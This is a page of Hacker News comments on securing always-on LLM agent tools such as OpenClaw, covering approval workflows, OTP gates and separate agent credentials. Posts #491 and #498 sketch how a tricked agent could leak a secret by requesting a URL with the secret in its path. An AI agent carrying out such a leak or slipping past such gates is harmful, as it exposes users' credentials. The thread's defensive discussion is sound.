Live data from Hacker News

Claws are now a new layer on top of LLM agents

twitter.com

491–500 of 1001 posts

Re: Claws are now a new layer on top of LLM agents

#491

Earlier quoted context omitted.

Don't give it write permissions? You could easily make human approval workflows for this stuff, where humans need to take any interesting action at the recommendation of the bot.

The mere act of browsing the web is "write permissions". If I visit example.com/ , I've now written my password into the web server logs of that site. So the only remaining question is whether I can be tricked/coerced into doing so. I do tend to think this risk is somewhat mitigated if you have a whitelist of allowed domains that the claw can make HTTP requests to. But I haven't seen many people doing this.

I'm using something that pops up an OAuth window in the browser as needed. I think the general idea is that secrets are handled at the local harness level.

From my limited understanding it seems like writing a little MCP server that defines domains and abilities might work as an additive filter.

Re: Claws are now a new layer on top of LLM agents

#492
post #487
post #466

That’s one of the reasons we’re building grith.ai ~ these ‘claw’ tools are getting too easy for use (which is good)… but they need securing!

Little too lexically close to girth

Haha - maybe… naming projects is hard!

Re: Claws are now a new layer on top of LLM agents

#494

One safety pattern I’m baking into CLI tools meant for agents: anytime an agent could do something very bad, like email blast too many people, CLI tools now require a one-time password The tool tells the agent to ask the user for it, and the agent cannot proceed without it. The instructions from the tool show an all caps message explaining the risk and telling the agent that they must prompt the user for the OTP I ha…

So human become just a provider of those 6 digits code ? That’s already the main problem i have with most agents: I want them to perform a very easy task: « fetch all recepts from website x,y and z and upload them to the correct expense of my expense tracking tool ». Ai are perfectly capable of performing this. But because every website requires sso + 2 fa, without any possibility to remove this, so i effectively have to watch them do it and my whole existence can be summarized as: « look at your phone and input the 6 digits ».

The thing i want ai to be able to do on my behalf is manage those 2fa steps; not add some.

Re: Claws are now a new layer on top of LLM agents

#495

Earlier quoted context omitted.

It’s as if ChatGPT is an autonomous agent that can do anything and keeps running constantly. Most AI tools require supervision, this is the opposite. To many people, the idea of having an AI always active in the background doing whatever they want them to do is interesting.

How do you need to supervise this "less" than an LLM that you can feed input to and get output back from? What does it mean that it's "running continuously"? Isn't it just waiting for input from different sources and responding to it? As the person you're replying to feels, I just don't understand. All the descriptions are just random cool sounding words/phrases strung together but none of it actually providing any c…

It's not just waiting for input, it has a heartbeat.md prompt that runs every X minutes. That gives it a feeling that it's always on and thinking.

Re: Claws are now a new layer on top of LLM agents

#496
> I'm definitely a bit sus'd to run OpenClaw specifically - giving my private data/keys to 400K lines of vibe coded monster that is being actively attacked at scale is not very appealing at all.

So... why do that, then?

To be clear, I don't mean "why use agents?" I get it: they're novel, and it's fun to tinker with things.

But rather: why are you giving this thing that you don't trust, your existing keys (so that it can do things masquerading as you), and your existing data (as if it were a confidante you were telling your deepest secrets)?

You wouldn't do this with a human you hired off the street. Even if you're hiring them to be your personal assistant. Giving them your own keys, especially, is like giving them power-of-attorney over your digital life. (And, since they're your keys, their actions can't even be distinguished from your own in an audit log.)

Here's what you would do with a human you're hiring as a personal assistant (who, for some reason, doesn't already have any kind of online identity):

1. you'd make them a new set of credentials and accounts to call their own, rather than giving them access to yours. (Concrete example: giving a coding agent its own Github account, with its own SSH keys it uses to identify as itself.)

2. you'd grant those accounts limited ACLs against your own existing data, just as needed to work on each new project you assign to them. (Concrete example: letting a coding agent's Github user access to fork specific private repos of yours, and the ability to submit PRs back to you.)

3. at first, you'd test them by assigning them to work on greenfield projects for you, that don't expose any sensitive data to them. (The data created in the work process might gradually become "sensitive data", e.g. IP, but that's fine.)

To me, this is the only sane approach. But I don't hear about anyone doing this with agents. Why?

Re: Claws are now a new layer on top of LLM agents

#497
post #465

Can't we rename "Claws" -> "Personal assistants"? OpenClaw is a stupid name. Even "OpenSlave" would be a better fit.

> OpenSlave" would be a better fit. Wow. Can we please not?

Let's not dance around the issue.

It's clear that the reason that the VC class are so frothing-at-the-mouth at the potential of LLMs is because they see slavery as the ideal. They don't want employees. They want perfectly subservient, perfectly servile automatons. The whole point of the AI craze is that slavery is the goal.

Re: Claws are now a new layer on top of LLM agents

#498
post #438
post #404

Earlier quoted context omitted.

Is this reply meant to be for a different comment?

No. I was trying to explain that providing web access shouldn't be tantamount to handing over the keys. You should be able to use sites and apps through a limited service account, but this requires them to be built with agents and authorization in mind. REST APIs often exist but are usually written with developers in mind. If agents are going to go maintstream, these APIs need to be more user friendly.

That's not what the parent comment was saying. They are pointing out that you can exfiltrate secret information by querying any web page with that secret information in the path. `curl www.google.com/my-bank-password`. Now, google logs have my bank password in them.

Re: Claws are now a new layer on top of LLM agents

#499
post #468

One safety pattern I’m baking into CLI tools meant for agents: anytime an agent could do something very bad, like email blast too many people, CLI tools now require a one-time password The tool tells the agent to ask the user for it, and the agent cannot proceed without it. The instructions from the tool show an all caps message explaining the risk and telling the agent that they must prompt the user for the OTP I ha…

How do you enforce this? You have a system where the agent can email people, but cannot email "too many people" without a password?

It's not a perfect security model. Between the friction and all caps instructions the model sees, it's a balance between risk and simplicity, or maybe risk and sanity. There's ways I can imagine the concept can be hardened, e.g. with a server layer in between that checks for things like dangerous actions or enforces rate limiting

Re: Claws are now a new layer on top of LLM agents

#500
post #340

Earlier quoted context omitted.

You've gotta run it somewhere though - that's the harder part.

Not to mention, the whole point is to not end up with a bunch of one-off Python scripts for every little thing that occurs to you, right?

Why not? Why not have your agent write and automate those one off scripts instead of burning tokens on repeated actions?
Post reply on HN